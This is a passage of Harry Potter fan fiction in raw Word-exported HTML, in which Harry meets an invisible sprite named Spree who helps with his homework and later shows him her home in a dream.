class="MsoNormal">&quot;This isn\'t a dream.&nbsp; I\'ve been watching you for a little while\nnow.&nbsp; You\'re lucky we \'sprites\' don\'t\nusually show ourselves.&quot; the sprite said, standing up now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry leaned closer, &quot;So what\'s your\nname?&quot; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The sprite put a hand over her mouth, &quot;Oh\nhow rude of me!&nbsp; I\'m Spree!&nbsp; And I\'m your special sprite!&quot; Spree\nsaid giggling at the look on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;My-my sprite?&quot; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well...yes.&nbsp; But that doesn\'t mean you own me!&nbsp; I\'m just here to...help.&quot; Spree said as an afterthought.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded, &quot;Of course...I\'m talking to\na little sprite that isn\'t REALLY a sprite, called Spree who\'s my sprite but I\ndon\'t own...now I know I\'m dreaming.&quot;&nbsp;\nhe said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree rolled her eyes, &quot;Is it REALLY so\nhard to believe?&nbsp; What I can\'t believe\nis that you\'re here doing HOMEWORK, of all things, when Hermione is sitting in\nthe Gryffindor common room.&quot; She said, fluttering her wings and landing on\nthe edge of Harrys ink pot.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione understands, we-wait how do you\nknow about Hermione and me?&nbsp; How long\nhave you been watching?&quot;&nbsp; Harry\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree giggled, &quot;Oh since the beginning of\nthe year.&quot; she said airly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So why show yourself to me\nnow?&quot;&nbsp; Harry asked, &quot;Not that\nI mind of course!&nbsp; But why not\nbefore?&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree hesitated, &quot;Well before...I just\nwanted wait I guess.&nbsp; I wanted to see\nwhat sort of person you are.&nbsp; We sprites\nhave to like our people you know!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Your people.&quot;&nbsp; Harry repeated, sounding a little dazed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yes honey.&nbsp; Our people.&nbsp; Are you\nfeeling alright?&nbsp; You look\npale.&quot;&nbsp; Spree said fluttering her\nwings and coming to a stop in front of Harrys face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Actually...I think I need to lie\ndown.&quot;&nbsp; Harry said, blinking\nrepeatedly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree patted him gently on the cheek,\n&quot;Alright then Harry.&nbsp; But I just\nwanted to tell you that no one else can see me.&nbsp; No one but you, and they can\'t hear me either.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded, &quot;Alright.&nbsp; Well come on the Spree...I think I\'ll take a\nnap before dinner.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree giggled and fluttered down to his\nshoulder, &quot;Alright then.&quot; she said swinging her legs, &quot;Wow it\'s\nhigh from up here.&quot; she giggled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled a little, &quot;Of course it\nis...&quot; he said collecting up his books, &quot;I\'ve so lost it...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree giggled and just shook her head, &quot;Oh\nHarry.&nbsp; I think this is the start of a\nbeautiful relationship.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So Harry dear.&nbsp; After that nap of yours have you decided that you\'re not\nterminally insane?&quot;&nbsp; Spree asked\nwatching Harry rub the sleep from his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Uh...you\'re still here.&quot;&nbsp; Harry said staring at Spree.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry?&nbsp;\nAre you alright?&quot;&nbsp; Ron asked\nfrom his bed, &quot;You\'re kind of...talking to your side table.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry blushed, &quot;What? Oh nothing just\nthinking outloud.&quot;&nbsp; he said\nquickly, &quot;So what are you doing up here?&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Homework.&quot;&nbsp; Spree said pulling a nail file out of now where and started\nfiling her nails.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Homework.&nbsp; Snapes a bugger to give us this much.&quot;&nbsp; Ron said gesturing to the piles of books in\nfront of him, &quot;Started it yet?&quot; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stared at Spree, then looked at Ron,\n&quot;Huh?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;He asked you if you\'d started your\npotions homework Harry.&quot;&nbsp; Spree\nsaid, sounding a tad exasperated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Homework.&nbsp; Potions.&nbsp; Are you feeling\nokay Harry?&quot;&nbsp; Ron asked a little\nconcerned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What?&nbsp;\nOh yeah I\'m fine.&nbsp; Just still\nhalf-asleep I guess.&quot; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;He can\'t see me remember\nHarry?&quot;&nbsp; Spree said, still filing\nher nails.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I remember.&quot;&nbsp; Harry muttered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Remember what?&quot;&nbsp; Ron asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Wha- oh I remember starting it.&nbsp; But I haven\'t finished it yet.&quot;&nbsp; Harry quickly covered up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh alright then.&nbsp; Man I\'m tired of studying!&nbsp; I\'m going downstairs to play chess.&nbsp; I\'ll see you down there?&quot;&nbsp; Ron asked standing up and stretching.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;A little later.&nbsp; I think I\'ll do some homework before I get really\nbehind.&quot;&nbsp; Harry said a little\nsheepishly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron waved as he walked out and shut the door\nbehind him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You nearly stuffed up there\nHarry.&quot;&nbsp; Spree said shaking her\nhead at him, &quot;What am I going to do with you?&quot; she teased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry just picked up his potions book and\nsighed, &quot;Aw man...I\'ll never get through all this.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree pocketed her nail file, &quot;I think I\ncan help you out with this.&nbsp; But just\nthis once.&quot; she said fluttering over to him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So infact Love Potion #97 is actually not\nillegal as it is used in many other forms but with a different use and is used\nby the Ministry of magic on many occasions.&quot;&nbsp; Spree said, pacing backwards and forwards on Harrys side table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was quickly writing down everything she\nwas saying, and he had to admit, it didn\'t sound half-bad.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Without Love Potion #96 the potion,\nQueldis Morpheous, wouldn\'t be stable enough to use on a daily\nbasis.&quot;&nbsp; Spree said, still pacing\nbut wating for him to copy it all down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Have I thanked you yet?&quot;&nbsp; Harry murmurred.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;About a thousand times.&quot;&nbsp; Spree giggled, &quot;Got all of that?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Mmmhmm.&quot;&nbsp; Harry said as he finished the last word, &quot;Great! Done! Man\nam I hungry!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\'s stomach rumbled loudly, as if to prove\nhis point.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree giggled again, &quot;Well I think you\nmissed dinner.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Aw man!&nbsp;\nI did!&nbsp; Guess I\'ll go to the\nkitchens and pick up something.&quot;&nbsp;\nHarry said, stretching.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree smiled, &quot;Good idea!&nbsp; We\'ll start on your Transfiguration essay\nafter dinner.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So what exactly do you eat?&quot;&nbsp; Harry asked as he walked down an empty\ncorridor to the kitchens.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Eat?&nbsp;\nI don\'t eat.&nbsp; Don\'t need to.&nbsp; Although sometimes I do eat on of those funny\nbeans.&quot; she admitted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So you CAN eat but you choose not\nto.&quot;&nbsp; Harry confirmed as they\nreached the kitchens.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yep!&quot;&nbsp; Spree said, settling herself on Harrys glasses.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hary Potter!&quot;&nbsp; Dobby squealed, &quot;You came to visit\nDobby!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry flashed Dobby a smile,&quot; Hey there\nDobby.&nbsp; How are you?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh very good Harry Potter!&nbsp; Would you be wanting anything?&quot;&nbsp; Dobby asked eagerly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gave him a sheepish grin, &quot;Well I\nkind of...missed dinner.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Again.&quot;&nbsp; Spree said, fluttering her wings so they moved his fringe.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;And I was wondering if I could grab some\nfood?&quot;&nbsp; Harry asked, ignoring\nSpree.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Of course Harry Potter!&nbsp; What is it you\'re wanting?&quot;&nbsp; Dobby asked as three elves scuttled away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Aw...I don\'t really care.&quot;&nbsp; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Very precise.&quot; Spree said, shaking\nher head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The three elves raced over carrying a large\ntray of meat and vegetables and a bowl of soup.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Here you are.&quot;&nbsp; one said and they bowed and left.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned, &quot;Aw gee thanks.&nbsp; You guys are great.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At this nearly every single elf blushed,\n&quot;You is too kind Harry Pottter.&quot;&nbsp;\nDobby said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled again, &quot;Thanks for the\nfood!&nbsp; See ya around Dobby!&quot;&nbsp; Harry said leaving.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;They\'re nice.&quot;&nbsp; Spree said, fluttering down to the tray,\n&quot;And they seem to like you.&quot;&nbsp; </p>\n\n<p class="MsoNormal">Spree peered into the soup bowl and gently\ndipped her finger in it, &quot;Ow!&nbsp; It\'s\nhot!&nbsp; she squealed, dancing around.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry shook his head in amusement and went back\nto the Gryffindor common room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Transfiguration essay.&quot;&nbsp; Harry moaned looking at his empty parchment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Haven\'t you done it yet?&quot;&nbsp; Seamus asked from his bed, &quot;Geez\nHarry!&nbsp; Even I haven\'t left it that\nlate!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ve been busy!&quot;&nbsp; Harry said defensively.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That\'s right he has!&quot;&nbsp; Spree added in glaring at Seamus, even\nthough he couldn\'t see her or hear her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Seamus shrugged, &quot;Well good luck.&nbsp; It\'s a doozy.&nbsp; I\'d let you copy but she\'d know.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled, &quot;Thanks anyway.&quot; he\nsaid, &quot;I think I\'ll go downstairs.&nbsp;\nIt\'s hard to concentrate with your snoring.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dean made a face and threw a pillow at\nhim.&nbsp; Harry grinned and shut the door\nbehind himself quietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So where shall we go?&quot;&nbsp; Spree asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Um?&quot;&nbsp; Harry said, &quot;Well...let\'s see if the common room is empty.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Fortunetly for them it was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">{2 1/2 hours later}</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So the transfiguration ban in the 1790\'s\nwas beneficial because it helped the wizards and witches of that time realise-\ngot that so far?&quot;&nbsp; Spree asked\nHarry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Nearly...yep.&quot;&nbsp; Harry said, pausing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Realise that there were ways to change\nforms without destroying the being that is changing.&quot;&nbsp; Spree said, pacing once again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry scribbled it down, &quot;Done!&quot; he\nsaid, his voice filled with exhaustion, &quot;Finally.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree nodded, &quot;You\'re telling me\nfinally!&nbsp; Don\'t expect that sort of help\nalways.&nbsp; I just helped you out today\nbecause you were desperate!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I know and thanks again.&quot;&nbsp; Harry said, smiling at her and stiffling a\nyawn.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Alright it\'s nearly 1am Harry.&nbsp; Time for bed.&quot;&nbsp; Spree said, in a caring, motherly voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry yawned loudly and nodded, &quot;Mmm yes\nmother.&quot; he said and dragged himself upstairs, ignoring the protests from\nSpree (&quot;Mother!&nbsp; What do you mean\nmother!&nbsp; Are you telling me I look\nmiddle-aged in this dress?&nbsp; Is that what\nthis is about?&quot;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry put his belongings down beside his bed\nand quickly changed.&nbsp; He froze when he\nwas in his boxers and turned to Spree, who had her eyes focused on something\nelse.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Er...when I...did you?&quot; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What?&nbsp;\nWatch you shower and everything?&nbsp;\nNot that it matters, I didn\'t.&quot;&nbsp;\nSpree said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled and pulled a small satin\nhandkerchieft from his drawer and spread it down on his pillow for her, &quot;\nNight Spree.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Spree smiled and kissed him on the forehead,\n&quot;Thank you honey.&quot; she said, but it was on deaf ears.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was already asleep.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">\'Where\'s\nthat voice coming from?&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Kaze\nwa tomari kotoba wa yasashii maboroshi, kumo wa yabure ashita wa tooku no\nkoe.&quot; </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Who\nis that?&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Suteki\nda ne futari te wo tori aruketa nara, ikitai yo kimi no machi ie ude no\nnaka.&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Harry\nlooked around, &quot;Spree?&nbsp; Spree where\nare you?&nbsp; Where am I?&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Harry.&nbsp; Harry I\'m here.&quot;&nbsp; the voice said, &quot;Come here Harry.&nbsp; We have much to talk about.&quot;&nbsp; </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Harry\nturned to where the voice had come from.&nbsp;\nThere stood a beautiful woman.&nbsp; Her\nhair was dark brown and fell down her back straight and ended in curls.&nbsp; Her eyes were warm and loving and the colour\nblue but the blue was a shade Harry had never seen before.&nbsp; She was dressed in a white silk dress and\nwas bare foot.&nbsp; </i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">She\nheld out her arms, &quot;Come to me Harry.&quot;&nbsp; she said.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Harry\ntook a step towards her, &quot;Who are you?&quot; he asked, noticing for the\nfirst time that there was music in the background, &quot;Where are we?&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Harry.&nbsp; Come to me.&nbsp;\nAll will be explained.&quot;&nbsp; she\nsaid.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Harry\ntook another step towards her, &quot;Where\'s Spree?&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Spree\nis fine.&quot;&nbsp; she said reassuringly,\n&quot;But she insisted that she got another dress, said something about not\nbeing middle-aged.&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Harry\nlaughed at this, &quot;Yes, that sounds like Spree.&nbsp; Where has that singing that I heard before.&nbsp; Where you singing that?&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Indeed.&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;It\nwas very beautiful.&quot;&nbsp; Harry said,\nwalking to her slowly.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Yes.&nbsp; Come follow me.&nbsp; Spree is waiting for you on yonder side of the stream.&quot; she\nsaid walking towards the stream.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Harry\ntook a moment to take in his surroundings.&nbsp;\nThere were people in the distance he could see and they looked happy\nenough.&nbsp; And everywhere had beautiful\nlush green grass with little pathways made out of pale yellow stone, except it\ndidn\'t seem hard enough to be stone.&nbsp;\nThere was so sun in the sky, yet the light seemed to come from\neverywhere.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Come\non Harry!&quot;&nbsp; the lady laughed,\n&quot;Spree won\'t wait too long!&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Harry\nlaughed and ran to catch up to this lady.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;It\'s\nso peaceful here.&quot;&nbsp; Harry mused as\nthey crossed the stream over a small wooden bridge.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Yes\nit is.&quot;&nbsp; she said, &quot;There\'s\nSpree.&quot; she pointed to a figure sitting in a tree.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Harry!&quot;&nbsp; Spree yelled waving and jumping down from\nthe tree.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">When\nthey got over to Spree Harry noticed she was wearing a different dress, &quot;I\nlike your dress.&quot;&nbsp; he said.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Spree\nsmiled widely, &quot;Thanks!&nbsp; I like it\ntoo.&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">The\nlady who\'d brought Harry just smiled and waited for the short reuninion to\nfinish.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Lady\nPhira!&nbsp; It\'s good to see you!&quot;&nbsp; Spree said, as if just noticing her for the\nfirst time.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;I\'m\nafraid I\'m needed somewhere else.&nbsp; Enjoy\nyou\'re stay Harry.&nbsp; And good luck with\nyou Defense against the dark arts assignment.&nbsp;\nI\'m sure you\'ll need it.&quot;&nbsp;\nLady Phira said with a wink and she disappeared.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Whe-where\'d\nshe go?&quot;&nbsp; Harry asked looking\naround for her.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Oh\nshe had to go!&nbsp; So what do you think of\nmy home?&quot;&nbsp; Spree asked waving the\nquestion away.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Your\nhome?&quot;&nbsp; Harry asked dumbly.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;I\nlive here.&nbsp; Well...I mean I live with\nyou now...but oh you know!&quot;&nbsp; Spree\nsaid, waving her hands for emphasis.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;It\'s\nfantastic.&quot;&nbsp; Harry said meaning\nevery word.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;I\nhoped you\'d like it!&quot;&nbsp; Spree said\ngrabbing onto his hand.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;But\nwait...why am I the same size as you are?&quot;&nbsp; Harry asked, feeling a little confused.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Spree\nshrugged, &quot;I don\'t know.&nbsp; You\'re\nthe first human here in a long time!&nbsp;\nCome on!&nbsp; You\'ve got to see the\nvillage!&quot;&nbsp; she said pulling on his\nhand.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Harry\nsmiled and followed her, &quot;Wow Hermione would love it here.&quot;&nbsp; he said as they ran through the green grass.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Everyone\nwould.&quot;&nbsp; Spree said simply.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">{Some\ntime later}</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Spree?&quot;&nbsp; Harry asked, lifting his head from the grass\nso he could see her.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Hm?&quot;&nbsp; Spree asked.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Am\nI dreaming?&nbsp; Am I actually\nhere?&quot;&nbsp; Harry 